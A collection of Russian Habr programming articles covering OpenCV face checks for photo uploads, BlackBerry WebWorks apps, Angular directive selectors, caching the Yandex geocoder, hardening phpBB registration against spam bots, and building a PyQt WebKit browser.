face_cascade = cv.CascadeClassifier(cv.__path__[0] + "/data/haarcascade_frontalface_default.xml")
in_memory_photo = in_memory_photo.read()
nparr = np.fromstring(in_memory_photo, np.uint8)
img = cv.imdecode(nparr, 4)
gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)
faces = face_cascade.detectMultiScale(gray, 1.3, 5)
if len(faces) > 0:
return True
else:
return False
```
### Интеграция в форму пользовательского ввода
Импортируем нашу функцию:
```
from main.utils import detect_face
```
И «проверим лицо» при регистрации нового пользователя.
```
if request.method == "POST":
form = RegistrationForm(request.POST, request.FILES)
if form.is_valid():
try:
in_memory_uploaded_file = request.FILES["photo"]
except:
in_memory_uploaded_file = None
if not in_memory_uploaded_file or not detect_face(in_memory_uploaded_file):
messages.add_message(request, messages.WARNING, _("You can only upload a face photo. Please try to uploading a different photo."))
return HttpResponseRedirect(reverse("main:profile_registration"))
```
### Пример без фреймворка
```
import os
import cv2 as cv
import numpy as np
def detect_face(in_memory_photo):
face_cascade = cv.CascadeClassifier(cv.__path__[0] + "/data/haarcascade_frontalface_default.xml")
in_memory_photo = in_memory_photo.read()
nparr = np.fromstring(in_memory_photo, np.uint8)
img = cv.imdecode(nparr, 4)
gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)
faces = face_cascade.detectMultiScale(gray, 1.3, 5)
if len(faces) > 0:
return True
else:
return False
with open(os.path.dirname(os.path.abspath(__file__)) + '/photo.jpg', 'rb') as in_memory_photo:
is_it_face = detect_face(in_memory_photo)
print(is_it_face)
```
На этом все.
Как видим, все довольно просто (если нужна простая проверка конечно).
### Полезные ссылки
[towardsdatascience.com/face-detection-in-2-minutes-using-opencv-python-90f89d7c0f81](https://towardsdatascience.com/face-detection-in-2-minutes-using-opencv-python-90f89d7c0f81)
[new-friend.org/ru/195/2800/12918/profile-registration](https://new-friend.org/ru/195/2800/12918/profile-registration/) (пример работы данного решения). | https://habr.com/ru/post/504748/ | null | ru | null |
# Создание приложений для смартфонов BlackBerry средствами WebWorks SDK
BlackBerry WebWorks SDK выгодно отличается среди прочего доступного на настоящий день инструментария для создания приложений BlackBerry тем, что позволяет вести разработку одновременно и под смартфоны, начиная с BB OS 5.0, и под планшеты Playbook.
Если в двух словах, то BlackBerry Web Apps или «веб-виджеты» — это платформа на базе стандартов HTML5, CSS3 и расширяемого JS. Вроде бы «негусто» для написания приличного приложения, но первое впечатление обманчиво. Ниже станет ясно, почему. Нужно отметить, что версия [API](http://www.blackberry.com/developers/startpages/web/api/index.html) для планшетов Playbook пока сильно отличается от полноценной, но активно развивается и дополняется, документация обновляется с интенсивной периодичностью. В данной статье мы будем приводить примеры, использующие возможности полноценного API, т.е. поддерживаемые в BB OS 6 и 7, а в следующей опишем процесс разработки виджетов под Playbook.
#### Начинка BlackBerry WebWorks
Начиная с шестой версии операционной системы для смартфонов движком браузера стал webkit, заменив собой браузер на основе Java. На планшете Playbook вебкит-браузер установлен в качестве нативного изначально. В совокупности одно только это обстоятельство позволяет широко использовать возможности связки HTML5+CSS3, поддержка которых ограничена в иных браузерах. Второй и главный фактор — это расширение для джаваскрипта, объект blackberry, предоставляющий доступ для взаимодействия с ресурсами системы и устройства, расположенными за пределами приложения. Данные ресурсы делятся на категории, присутствующие в именованиях соответствующих вложенных объектов:
* Application
* Browser Native
* File I/O
* Find
* Identity
* Invoke
* Messaging
* PIM
* Push Data
* System
* User Interface
* Utilities
* Gears (только в 5-й версии, для обеспечения функционала, доступного в HTML5)
Один пример будет ярче многих слов — ниже приводится демонстрация того, как средствами javascript происходит создание нового контакта, запись в адресную книгу и отправка уведомления по электронной почте адресату только что созданного контакта:
```
// Создаем новый контакт
var contact = new blackberry.pim.Contact();
contact.firstName = 'John';
contact.lastName = 'Doe';
contact.homePhone = '555-555-5555';
contact.email1 = 'john@doe.com';
contact.save();
// Формируем и отправляем письмо
var message = new blackberry.message.Message();
message.toRecipients = contact.email1;
message.subject = 'Продам комод';
message.body = 'Джон, тебя посчитали';
message.send();
```
Важно отметить два дополнительных момента. Во-первых, для [BBM Social Platform](http://press.rim.com/release.jsp?id=4555) также [анонсирована](http://devblog.blackberry.com/2011/03/bbm-sdk/) поддержка на уровне BlackBerry Web Apps, что позволит интегрировать популярный сервис в свои приложения. Во-вторых, если возможностей WebWorks API недостаточно для приложения, функционал javascript может быть [расширен](http://docs.blackberry.com/en/developers/deliverables/21187/Creating_and_using_a_JS_extensiong_in_your_widget_1316872_11.jsp) средствами Java.
#### Немного о js-фреймворках и библиотеках
Небольшое лирическое отступление.
При создании нового приложения почти наверняка возникнет вопрос, какую джаваскриптовую библиотеку или фреймворк задействовать. Фреймворк для мобильных устройств как минимум должен уметь обрабатывать touch-события, реагировать на состояние гироскопа и понимать жесты.
В поиске ответа на данный вопрос приведенный список может оказаться полезным:
* [jqtouch](http://jqtouch.com/)
* [jo](http://joapp.com/)
* [sencha touch](http://www.sencha.com/)
* [jquery mobile](http://jquerymobile.com/)
* [mootools mobile](https://github.com/cpojer/mootools-mobile)
* [zepto](http://zeptojs.com/)
* [xui js](http://xuijs.com/)
Если показалось, что список маловат, то можно заглянуть еще и на [microjs.com](http://microjs.com/)
Выбор фреймворка связан зачастую с задачами, целями и архитектурой проекта, а также с личными предпочтениями разработчика. Мы в своей работе используем XUI и Sencha Touch. XUI js — это крошечный расширяемый фреймворк размером всего лишь 9,4 Кб (или 4,1 Кб с сжатием gzip) c jQuery подобным синтаксисом. В перспективе планируем эксперименты с Mootools, который поддерживает мобильные устройства, начиная с версии 1.3. YUI3 развивается, кстати, [в том же](http://yuilibrary.com/projects/yui3/roadmap) направлении.
#### Настройка среды разработки
Вести разработку веб-виджетов можно как в MS Visual Studio, так и в Eclipse IDE. Мы опишем пример с использованием Eclipse (Windows).
Для начала необходимо скачать Java SE 6 JDK 32-bit и настроить необходимые плагины. Это [WTP](http://www.eclipse.org/webtools/), BlackBerry WebWorks plug-in и BlackBerry WebWorks SDK plug-in:
Плагины доступны зарегистрированным разработчикам по адресу [www.blackberry.com/go/eclipseUpdate/3.6/web](http://www.blackberry.com/go/eclipseUpdate/3.6/web). Во время установки плагинов необходимо указать логин и пароль.
#### Пишем первый BlackBerry Web App
Все, Eclipse настроен, можно создавать новый проект под названием HabrHelloWidget:
Только что созданный проект имеет следующую структуру:
`build\
ext\
config.xml
index.html`
Директория ext зарезервирована для расширения javascript средствами java, в ней хранятся архивы jar. Директория build содержит сборки проекта, в «эклипсовском» Package Explorer она не видна.
Файл index.html — это обычный документ html за исключением meta-тега [viewport](http://supportforums.blackberry.com/t5/Web-and-WebWorks-Development/Control-the-BlackBerry-Browser-zoom-level/ta-p/445802). Конфигурационный файл config.xml содержит описание приложения, данные о версии, лицензии, авторе, список с перечислением сетевых соединений в порядке убывания приоритета и т.д. Там же содержатся настройки безопасности при работе приложения с js-расширениями (объект blackberry). В приложении соблюдается принцип Same Origin Policy (SOP), поэтому весь необходимый функционал должен быть перечислен для каждого из доменов, включая локальный ресурс, т.е. само приложение:
Если в настройках требуемая функция (feature) не указана, приложение вызовет исключение.
В проект необходимо добавить иконку в формате png и указать путь к ней в config.xml. По умолчанию иконка может иметь название icon.png и располагается в корне проекта. [Гайдлайн](http://docs.blackberry.com/en/developers/deliverables/17965/Icons_and_indicators_2_0_514453_11.jsp) к OS 6 требует, чтобы размеры иконки не превышали 68x68 px. Габариты иконки для планшета Playbook — 86x86, на смартфоне в этом случае произойдет автоматическое масштабирование.
Добавим иконку, стили (закрасим фон синим, текст — белым) и напишем скрипт, который отобразит PIN и IMEI устройства, а также выведет в цикле информацию о доступных транспортных протоколах. Для ресурса Local объявляем доступным расширение blackberry.identity.
Разметка html (index.html):
```
кое-что обо мне
Привет, Habr!
=============
```
Скрипт инициализации (js/init.js):
```
/**
* HabrHelloWidget init
*/
(function() {
var device = document.getElementById('device'), str = '';
try {
var transportList = blackberry.identity.getTransportList();
for ( var i = 0, max = transportList.length; i < max; i++) {
str += "Transport name is:" + transportList[i].name
+ "
transport type:" + transportList[i].type + '
';
}
str += "
PIN: " + blackberry.identity.PIN
+ "
IMEI: " + blackberry.identity.IMEI;
} catch (e) {
str = 'Быстро запили мне фичу!';
}
device.innerHTML = str;
})();
```
#### Сборка и запуск на симуляторе смартфона
Далее, вызываем контекстное меню проекта, выбираем пункт Build BlackBerry WebWorks Project и собираем проект:
[крупнее](http://img-fotki.yandex.ru/get/4406/audiotec.60/0_6f27f_2c65e04b_orig)
Запускаем симулятор: контекстное меню проекта — Run As — BlackBerry Simulator. Любуемся результатом:
[крупнее](http://img-fotki.yandex.ru/get/4608/audiotec.60/0_6f27b_683210fd_L)
[крупнее](http://img-fotki.yandex.ru/get/4705/audiotec.60/0_6f27c_b8daef02_L)
#### Тестирование и отладка
Для проектов, ориентированных на смартфоны с BB OS 5, через контекстное меню проекта доступен режим Debug As.
Для шестой версии дебаг, судя по всему, пока не поддерживается, поэтому в ход идут кустарные средства вроде конструкций try-catch, вывода логов посредством возможностей объектов *blackberry.io.dir* и *blackberry.io.file*. На форуме разработчиков приводятся примеры отладки как в среде Eclipse, так и в Visual Studio.
С планшетом дела обстоят гораздо лучше. Поскольку виджет запускается к контексте исполняемой среды вебкит-браузера, для отладки можно задействовать веб-инспектор. Подробности — в следующей статье.
#### Подпись приложения
Для публикации в AppWorld необходимо [зарегистрироваться](https://appworld.blackberry.com/isvportal/) в качестве вендора, а приложение — подписать цифровыми ключами. Форма для запроса ключей: [www.blackberry.com/SignedKeys](https://www.blackberry.com/SignedKeys/)
Требуется банковская карта с возможностью онлайновых платежей. На получение ключей по электронной почте уходит в среднем 2-3 дня.
Руководство по подписи приложения ключами доступно по адресу [docs.blackberry.com/en/developers/deliverables/27261/Install\_the\_new\_registry\_key\_with\_Signature\_Tool\_1582584\_11.jsp](http://docs.blackberry.com/en/developers/deliverables/27261/Install_the_new_registry_key_with_Signature_Tool_1582584_11.jsp)
Подписанное приложение можно отправлять на рассмотрение в AppWorld и после одобрения публиковать.
#### Тематические ссылки
* Документация по WebWoks for Smartphones
[docs.blackberry.com/en/developers/subcategories/?userType=21&category=BlackBerry+WebWorks+for+Smartphones](http://docs.blackberry.com/en/developers/subcategories/?userType=21&category=BlackBerry+WebWorks+for+Smartphones)
* Инструментарий
[us.blackberry.com/developers/browserdev](http://us.blackberry.com/developers/browserdev/)
* Форум разработчиков (WebWorks Development)
[supportforums.blackberry.com/t5/Web-and-WebWorks-Development/tkb-p/browser\_dev%40tkb](http://supportforums.blackberry.com/t5/Web-and-WebWorks-Development/tkb-p/browser_dev%40tkb) | https://habr.com/ru/post/119675/ | null | ru | null |
# Angular: неочевидные возможности селекторов директив
Если вы когда-нибудь создавали директивы Angular, то вы, вероятно, использовали в качестве селектора конструкцию, в которой используются скобки: `([])`. Такой подход, хотя чаще всего применяется именно он, не является единственно возможным. На самом деле, селекторы, используемые в директивах, дают программисту широкий простор для творчества. Для того чтобы продемонстрировать эту идею в действии, в материале, перевод которого мы публикуем сегодня, рассмотрена методика создания директивы, предназначенной для работы с внешними ссылками, которые имеются в шаблоне. В частности, речь пойдёт о том, как можно находить обычные HTML-элементы, и, при необходимости, исключать из выборки некоторые из них, используя псевдокласс `:not`.
[](https://habr.com/company/ruvds/blog/421345/)
Директива ngForm
----------------
Для того чтобы рассмотреть пример сложного селектора, взглянем на директиву `ngForm`:
```
@Directive({
selector: 'form:not([ngNoForm]):not([formGroup]),ngForm,ng-form,[ngForm]',
})
```
Тут стоит обратить внимание на следующее:
* Директива может быть рассчитана на несколько селекторов, которые можно перечислять через запятую.
* Здесь можно смешивать целевые HTML-элементы (наподобие ) c HTML-атрибутами (вроде `ngForm`).
* Для исключения каких-то элементов из выборки можно использовать псевдокласс `:not`.
Создание директивы для работы с внешними ссылками
-------------------------------------------------
Под внешней ссылкой мы понимаем тег , у которого нет директивы `routerLink`. Учитывая то, что мы выяснили, анализируя предыдущий пример, соответствующий селектор можно описать так:
```
@Directive({
selector: 'a:not([routerLink])',
})
```
Красота этого селектора заключается в том, что нам не нужно создавать имя атрибута для чего-то такого, что лучше всего можно описать как противоположность некоей сущности.
Мы можем, для выделения внешних ссылок, использовать что-то вроде директивы с именем `externalLink`, но это совершенно не нужно, так как такой подход выливается в дублирование уже существующих механизмов. Кроме того, легко забыть добавить подобную директиву к некоторым внешним ссылкам. Сильная сторона нашего метода заключается в том, что мы, благодаря одной строке, можем обращаться ко всем внешним ссылкам.
Результаты применения директивы к внешним ссылкам должны выглядеть так:
* Ссылка должна открываться в отдельном окне.
* К ссылке должен быть добавлен добавить атрибут `rel`, что позволит улучшить производительность и повысить безопасность решения.
Обе эти цели достижимы благодаря использованию `@HostBinding()`:
```
@Directive({
selector: 'a:not([routerLink])'
})
export class ExternalLinkDirective {
@HostBinding('rel')
@Input()
rel = 'noopener';
@HostBinding('target')
@Input()
target = '_blank';
}
```
Обратите внимание на то, что тут мы, кроме прочего, декорировали свойства с помощью декоратора `@Input()`, что, при необходимости, открывает возможности для переопределения.
Ещё одна допустимая реализация подобного решения может заключаться в использовании декоратора `@Attribute()`. Такой подход даст небольшое увеличение в производительности, так как, в отличие от декоратора `@Input()`, при использовании `@Attribute()` значения соответствующих свойств вычисляются лишь один раз, то есть, не производится постоянной проверки свойств `rel` и `target` в цикле проверки изменений.
Подробности об этой методике можно почитать [здесь](https://netbasal.com/getting-to-know-the-attribute-decorator-in-angular-4f7c9fb61243).
Тестирование директивы
----------------------
Создадим простой навигационный блок, содержащий ссылки, ведущие на внешние ресурсы:
```
[Google](https://google.com)
[Bing](https://bing.com)
[Forbes](https://forbes.com)
```
Если, с помощью инструментов разработчика Chrome, посмотреть соответствующий HTML-код, то можно будет увидеть следующее:
*HTML-код навигационного блока после применения директивы*
Это именно то, что нам нужно. Директива работает без необходимости применения дополнительных селекторов атрибутов.
Итоги
-----
Из этого материала вы узнали о том, что, при работе с директивами Angular, необязательно использовать селекторы атрибутов. Здесь мы сначала исследовали директиву `ngForm`, после чего использовали полученные знания для создания собственной директивы, предназначенной для работы с внешними ссылками. Надеемся, эта методика вам пригодится.
**Уважаемые читатели!** Если вам известны какие-нибудь неочевидные приёмы разработки веб-проектов с использованием Angular — просим о них рассказать.
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/421345/ | null | ru | null |
# Как найти себе место на земле и не попасть на счетчик Яндекса
… эта история началась давным-давно в далекой-далекой стране Краковия, чьи жители беспечно проживали свои жизни и не знали…
Но сам я местный, и сегодня расскажу вам страшную историю, о том, что мешало спать (лично мне) долгие годы. И это не налоги (с ними все нормально), это — [геокодер Яндекс.Карт](https://tech.yandex.ru/maps/geocoder/)!
> Геокодер — это один из HTTP-сервисов Яндекс.Карт, получающий в запросе текстовое представление адреса и возвращающий в ответе найденные на его основании объекты. Либо наоборот: получающий координаты и отвечающий адресом.
Именно геокодер подскажет, где на карте находится чудная страна Краковия. И именно он будет главным героем этой истории, завязка которой была описана совершенно в другой книге — в древнем фолианте [Пользовательское соглашение API Яндекс.Карт](https://legal.yandex.ru/maps_api/). Легенда гласит, что существует ограничение на количество запросов к функции геокодирования. Максимально допустимо делать в сутки не более 25 000 запросов к HTTP и JS геокодеру в сутки. Или овсянка, сэр.
И буквально на днях это правило из обычных слов превратилось в угрозу работоспособности сайта. В [клубе API Карт было опубликовано](http://clubs.ya.ru/mapsapi/replies.xml?item_no=58741) сообщение о массовых банах различных сервисов, превышающих лимиты.
[](http://habrahabr.ru/company/yandex/blog/263863/)
Что делать? Для наглядности достанем из кустов рояль — 8 лет назад на Хабре засветился проект [«еСоседи»](http://esosedi.ru) — «Карта интересных мест». Все эти годы я продолжаю работать над ним.
У части мест, которые рисовали пользователи на карте, были только координаты на карте — для них надо было узнать адрес. У других мест, найденных в различных источниках, был наоборот известен только адрес. А значит, его надо было перевести в координаты для отображения на карте.
Более того — перевод координат в адрес и обратно надо было повторять регулярно!
> По правилам использования сервиса ответ геокодера нельзя сохранять в базу навсегда, но можно кешировать до 30 дней. Дело не в том, что Яндекс не хочет делиться данными, просто качество данных и покрытия постоянно меняется, а мне, как создателю сервиса, было важно, чтобы самая свежая информация была доступна пользователю. Краковию, кстати, до сих пор не находит.
Кроме этого на сайте «еСоседи» ежедневно бывали десятки тысяч человек, которые искали какие-нибудь места, что снова приводило к использованию геокодера.
На самом деле, всё могло бы быть не так страшно, если бы не лень и вера в ЧУДО! Смотрите:
```
ymaps.geocode('Тимура фрунзе д.12').then(function(res){myMap.geoObjects.add(res.geoObjects);});
//или даже
ymaps.geoQuery(ymaps.geocode('Арбат')).addToMap(myMap);
```
В результате простой операции на карте появится одна или более точек и именно в нужном месте. Ну разве не чудо?
Ослепленные простотой использования JS-геокодера многие разработчики именно так программировали свои «картографические решения». Отобразить банкоматы, отделения почты, свои точки продаж или любые другие «организации», привязанные к адресу, реально проще, если работать только с адресами.
Тексты будут проглочены АПИ, где-то там в глубинах магически переварятся — и на карте появятся метки в нужных местах. Я вам даже больше скажу — многие люди не видят разницы между заданием месторасположения какой либо метки числовыми координатами или юридическим адресом.
Беда в том, что за все волшебство надо платить! А еще надо ходить в ручку и вставать на счетчик. И если у вас есть одна страничка, на ней 10 меточек, и 2 500 человек в день — значит вы уперлись в лимит.
> Раньше при пересечении границы в 25 000 запросов в сутки, могло прийти письмо от менеджера из Яндекса с объяснением, что вы делаете не так. Теперь придёт злой робот с плюсометом — и все.
Именно это мешало мне спать последние дни. Одна из частей «еСоседей» — это материализация КЛАДР (города, улицы, адреса) — [postindex.esosedi.ru](http://postindex.esosedi.ru). Это база данных «про адреса» и, конечно же, она описывается адресами (текстом) и часто не содержит координат. Даже сейчас многие поселки нашей большой Родины не геокодируются (помни про Краковию). Так что координаты — это вторично.
При каждом заходе на страницу города или улицы показывается карта. При этом отправляется запрос по переводу известного адреса (Тимура Фрунзе, 11к2) в координаты. Кстати, геокодирование происходит не мгновенно, и, если точек у вас много, может замедлить загрузку карты.
Все бы ничего, да 40 000 отделений почты, 211 000 населенных пунктов, миллион улиц, 55 000 посетителей за вчера… Этого хватит на два суточных лимита с хвостиком. Но многие годы это именно так и работало. А все почему?
Не будем ждать злого робота — будем решать проблему. К счастью решение существует, и не одно, а два.
### Решение первое — правильное
Модифицировать backend так, чтобы было куда сохранять координаты. А это значит, сделать нормальную админку, посадить девушку, которая на основе визуального осмотра «ответа» геокодера будет выставлять TTL данным, двигать иконки, достигая сантиметровой точности размещения меток…
Плюсы: технологично, надежно, красивая девушка в офисе.
Минусы: требуется бэкенд, требуется БД, не совсем понятно что делать с пользовательским поиском; не совсем понято, как отреагирует жена.
### Решение второе — дешевое и сердитое
Сделать свой поиск! Такой, чтобы что-то в себя сохранял (т.е. кэширующий прокси), был «из коробки», чтобы справлялся с одновременными одинаковыми запросами и так далее.
В общем идея очень проста: ходить в некую собственную ручку, там проверять состояние кэша и, если нужных данных нет, отправлять запрос в HTTP-геокодер Яндекс.Карт.
Для многих крупных проектов правильным решением будет написать что-то свое. Быть может даже развернуть совсем свой геокодер, например, на основе OSM.
Но по опыту знаю, что для большинства самый выгодный вариант — взять что-то готовое с github. По традиции даю ссылку на [geocode-tool](https://github.com/dimik/geocode-tool) вариант решения проблемы от [dimik](https://habrahabr.ru/users/dimik/). Дима когда-то работал Яндекс.Картах и никак не может остановиться.
В общем случае geocode-tool это серверная часть («ручка»), web-интерфейс со статистикой, и [модуль для Яндекс.Карт](https://github.com/dimik/geocode-tool/blob/master/public/src/ym/proxy-geocode-provider/index.js).
Минусы: требуется запускать на сервере еще один сервис, к тому же на ноде. В офисе не появится девушка.
Плюсы: Вся работа свелась к скачке репы и добавлению пары строчек на клиенте (ну почти).
> Если у вас на сайте есть карта хотя бы со схемой проезда, и используется геокодирование (проверьте), а также вам кажется, что оно выполняется часто, подключите себе проксирующий сервер. Если у вас на каждой странице происходит трансформация адреса, используйте серверный геокодер или устанавливайте координаты напрямую.
1000 человек, которые посетят 10 страниц абстрактного магазина, где на каждой странице есть схема проезда, по 2 точки (адреса) на каждой — это уже 20 000 запросов, что опасно близко к лимиту. Вдруг однажды вы решите купить рекламу, и сайт посетит немного больше людей?
Чем кончилось это у нас, на «еСоседи»:
* Подключение локального кеша позволило ускорить страницу в среднем на 150мс — доступ к геокодеру в условиях массовой загрузки картинок и другой рекламы дело не быстрое.
При генерации кода страницы в начале дергается кеш геокодера, минуя оригинальный сервис, и только если там нет ответа добавляется вызов функции на клиенте. PS: [серверная версия](https://github.com/dimik/node-multi-geocoder) этого дела на github опять же есть.
* Наконец появилась статистика по запросам!
* После появления административного деления([статья на хабре](http://habrahabr.ru/post/253515/)) и нормального кеша геокодера стало возможно постфактум проверять правильность работы обоих.
Именно что — не забывайте что геокодер не искусственный разум — может выдавать фигню.
> Как известно на юге Москвы четыре([1](http://www.esosedi.ru/onmap/s_svitino/3670890/index.html),[2](http://ru.esosedi.org/RU/KLU/1000185011/svitino/),[3](http://www.esosedi.ru/onmap/svitino/3711742/index.html),[4](http://www.esosedi.ru/onmap/svitino/9586330/index.html)) Свитино и все примерно в одном месте, но два из них в Москве, одно — в Московской области, а еще одно — в Калужской.
>
>
Геокодер — это простой механиз поиска по базе, а значит он может выдать немного не тот обьект, который хочется. Например, потому что искомого на самом деле нет (помни о Краковии).
Это все веселее чем кажется. Но! Я! Наконец! Могу спать спокойно. Чего и вам советую.
Хорошего геокеширования.
PS: На самом деле над «еСоседи» я работаю в свободное от основной работы время. А основная работа как раз в Яндекс.Картах. И я вас предупредил.
PPS: Все картинки от [fevrony](https://instagram.com/fevrony/). | https://habr.com/ru/post/263863/ | null | ru | null |
# Как защитить форум на движке phpBB от автоматических регистраций
Форумный движок [phpBB](http://www.phpbbguru.net/) обладает большим количеством достоинств, он удобен и для пользователей и для модераторов и, как следствие, очень популярен. Но именно популярность порождает его главный недостаток — его спамят, причем спамят в автоматическом режиме. Через некоторое время постоянный поток регистраций новых фейковых пользователей и спам сообщений от них может порядком поистрепать нервы администрации сайта.
PhpBB версии 3.\* в базовой поставке содержит аж 4 варианта каптчи, которые можно предлагать пользователям при регистрации на форуме. Есть даже [recaptcha](http://www.google.com/recaptcha), однако для автосабмиттеров, как показывает практика, это не помеха.
Эти программы знают как выглядят типовые точки входа на страницы регистрации различных форумных движков. Знание это основано на распознавании DOM-моделей вебстраниц, содержащих формы для регистрации новых пользователей, для постинга сообщений и так далее. То есть, например, в случае phpBB робот знает, что точка входа для регистрации находится по адресу /ucp.php?mode=register и что на этой странице есть кнопка вида:
```
```
Не вдаваясь в технические подробности, отмечу что найти и нажать эту кнопку в html-документе уже можно как минимум по id или по name.
Как только робот добирается до страницы с каптчей, он получает картинку каптчи и пытается распознать её. Тут могут применяться различные технологии, в зависимости от изощренности программы, от OCR-алгоритмов до простого распознавания каптчи живым человеком. Именно поэтому защита не срабатывает. Бан IP-адресов на форуме также абсолютно бесполезен, так как роботы спамят через многочисленные прокси сервера. В этом смысле нет разницы банить адреса или чистить новые авторегистрации, всё так или иначе сводится к потере времени.
Получается, что единственный способ отсечь автосабмиттеры — немного видоизменить разметку точки входа на форум уникальным образом. Еще года два-три назад для phpBB2 я проделал такой фокус и это сработало — автоматические регистрации прекратились. Тоже самое недавно удалось подтвердить на другом сайте, уже на движке на phpBB3.
Далее я приведу конкретный проверенный пример видоизменения страницы регистрации phpBB. Однако хотелось бы оговориться, что данный пост предлагает концепцию защиты от автоматических регистраций на форумах, а не конкретные способы. Всё зависит от рук и головы администратора форума. Желательно обладать элементарными знаниями html и css. Если читатели начнут массово копировать данный способ, то эту «эвристику» спамеры запрограммируют в свой софт и автоматические регистрации продолжатся.
Итак, выбираем настройках phpBB форума самую простую каптчу «CAPTHA без GD».
Выглядит в браузере (FF3) это так:
Если посмотреть на разметку страницы регистрации в районе картинки с каптчей, то она выглядит так:
```
Код подтверждения:
```
Собственно атрибут src в теге img и содержит картинку с каптчей. Открываем фолдер с текущей темой, установленной на форуме. В моем случае это prosilver: /forum/styles/prosilver/template. В нём находим файл captcha\_default.html. Если посмотреть в этот шаблон, то видно место, в котором формируется вышеупомянутая разметка:
```
{L\_CONFIRM\_CODE}:
```
Лёгким телодвижением усложним жизнь автосабмиттерам:
```
Код подтверждения:
```
Выглядеть в браузере это будет теперь так:
Согласен, не очень красиво, зато нервы админа теперь будут в порядке. Обычные пользователи по-прежнему могут регистрироваться. Разумеется, при апгрейде движка на более новую версию нужно будет не забыть проделать этот фикс еще раз. Надеюсь, что храбро-phpbb-пользователи не будут зацикливаться на данном примере, а придумают другие способы изменения точки входа согласно предложенной концепции защиты. | https://habr.com/ru/post/113405/ | null | ru | null |
# Основы исполнения JavaScript и взаимодействие с сайтами внутри программ на Qt
#### Введение
О кроссплатформенной библиотеке Qt слышали, наверное, многие. О движке отображения веб-страниц WebKit тем более. Не так давно первое стало содержать обертку над вторым, примеры создания браузеров в 50 строчек найти не сложно. Тем не менее о том, как получать доступ к отдельным элементам веб-страницы из Qt-кода написано не много.
В данном описании я предполагаю, что люди обладают начальными познаниями в PyQt (я учил по Саммерфилду), и смутным представлением о JavaScript. Свой уровень я характеризую, именно таким, так что заранее извиняюсь за ошибки, особенно в описании ява-скрипта. Несмотря на то что в качестве языка использован Python у программистов C++/Qt вопросов тоже быть не должно.
Тестовые примеры запускались на PyQt-4.7.3, версия Python-2.6.6-r1 под ОС GNU/Linux. Из программ понадобится браузер с отладкой JS (Chrome, например) и PyQt IDE на ваше усмотрение, я использую Eric4.
#### Пример 1. Браузер, над которым мы будем издеваться
> `# -\*- coding: utf-8 -\*-
>
> from PyQt4.QtCore import \*
>
> from PyQt4.QtNetwork import \*
>
> from PyQt4.QtGui import \*
>
> from PyQt4.QtWebKit import \*
>
>
>
> class BaseBrowser(QWidget):
>
> def \_\_init\_\_(self, parent = None):
>
> super(BaseBrowser, self).\_\_init\_\_(parent)
>
> self.\_\_progress = 0
>
> QNetworkProxyFactory.setUseSystemConfiguration(True)
>
> self.webView = QWebView()
>
> self.webView.load(QUrl("http://www.yandex.ru"))
>
> self.connect(self.webView, SIGNAL("loadFinished(bool)"), self.adjustLocation)
>
> self.connect(self.webView, SIGNAL("titleChanged(QString)"), self.adjustTitle)
>
> self.connect(self.webView, SIGNAL("loadProgress(int)"), self.setProgress)
>
> self.connect(self.webView, SIGNAL("loadFinished(bool)"), self.finishLoading)
>
> self.locationEdit = QLineEdit()
>
> self.locationEdit.setSizePolicy(QSizePolicy.Expanding, self.locationEdit.sizePolicy().verticalPolicy())
>
> self.connect(self.locationEdit, SIGNAL("returnPressed()"), self.changeLocation)
>
> self.goButton = QPushButton("Go")
>
> self.connect(self.goButton, SIGNAL("clicked()"), self.changeLocation)
>
> self.layout = QGridLayout(self)
>
> self.layout.addWidget(self.locationEdit, 0, 0)
>
> self.layout.addWidget(self.goButton, 0, 1)
>
> self.layout.addWidget(self.webView, 1, 0, 1, 2)
>
> self.setLayout(self.layout)
>
>
>
> def adjustLocation(self):
>
> self.locationEdit.setText(self.webView.url().toString())
>
>
>
> def changeLocation(self):
>
> url = self.locationEdit.text()
>
> if url[0:7] != 'http://':
>
> url = 'http://' + url
>
> self.webView.load(QUrl(url))
>
> self.webView.setFocus()
>
>
>
> def adjustTitle(self):
>
> if self.\_\_progress <= 0 or self.\_\_progress >= 100:
>
> self.setWindowTitle(self.webView.title())
>
> else:
>
> self.setWindowTitle(QString("%1 (%2%)").arg(self.webView.title()).arg(self.\_\_progress))
>
>
>
> def setProgress(self, p):
>
> self.\_\_progress = p
>
> self.adjustTitle()
>
>
>
> def finishLoading(self):
>
> self.\_\_progress = 100
>
> self.adjustTitle()
>
>
>
> if \_\_name\_\_ == "\_\_main\_\_":
>
> import sys
>
> app = QApplication(sys.argv)
>
> prog = BaseBrowser()
>
> prog.show()
>
> sys.exit(app.exec\_())
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Код примера 1: [pastebin.com/GVQ4dw1M](http://pastebin.com/GVQ4dw1M)
Браузер представляет некую вариацию на тему браузеров из обучающих примеров по C++/Qt и PyQt, в последующих двух примеров мы будем его наследовать. Я понимаю, что так программы, даже маленькие, не пишут, и программа не должна быть одним классом, но баланс между кол-вом кода, его наглядностью и правильностью архитектуру я соблюдаю как могу.
Итак, браузер наш умеет не многое, но может загружать и отображать введенную страницу, для этого используется виджет QWebView, стандартные сигналы создаваемые этим виджетом мы привязали к слотам нашего браузера, что позволяет программе знать программе о смене заголовку текущей веб-страницы SIGNAL(«titleChanged(QString)»), прогрессе загрузки SIGNAL(«loadProgress(int)») и окончании загрузки — SIGNAL(«loadFinished(bool)»). Кроме этого создается поле QlineEdit для ввода адресса страницы и кнопка для перехода к этой веб-странице, либо по нажатию «Enter» либо по щелчку на кнопке.
Запускаем браузер, пробуем в работе, офигиваем от скорости работы «голого» WebKit. Пока ничего особенного мы не написали. Наш браузер даже по ссылкам не по всем переходит.
#### Пример 2. DOM-деревья и доступ к их элементам из Qt
Вообще, о структуре HTML страниц лучше бы, почитать отдельно, в двух предложениях это описать проблематично. В общем-то, если вы будете делать из офлайновую оболочку к какому либо веб-интерфейсу, ява-скрипт нужно будет все-таки выучить, по-крайней мере ту его часть, которая относится к доступу к данным. Итак, любой современный браузер позволяет получить доступ к содержимому веб-страницы представляя его в в виде дерева узлов, каждый узел которого представляет собой элемент, атрибут, текстовый, графический или любой другой объект. Узлы связаны между собой отношениями родительский-дочерний (да, эта строка из википедии). При помощи интерпретатора JavaScript к узлам этого дерева можно получить доступ. Откроем наш браузер и зайдем на все тот же yandex.ru (надеюсь их не накроет хабраэффектом). Сколько вы видите ссылок над поисковой строкой?
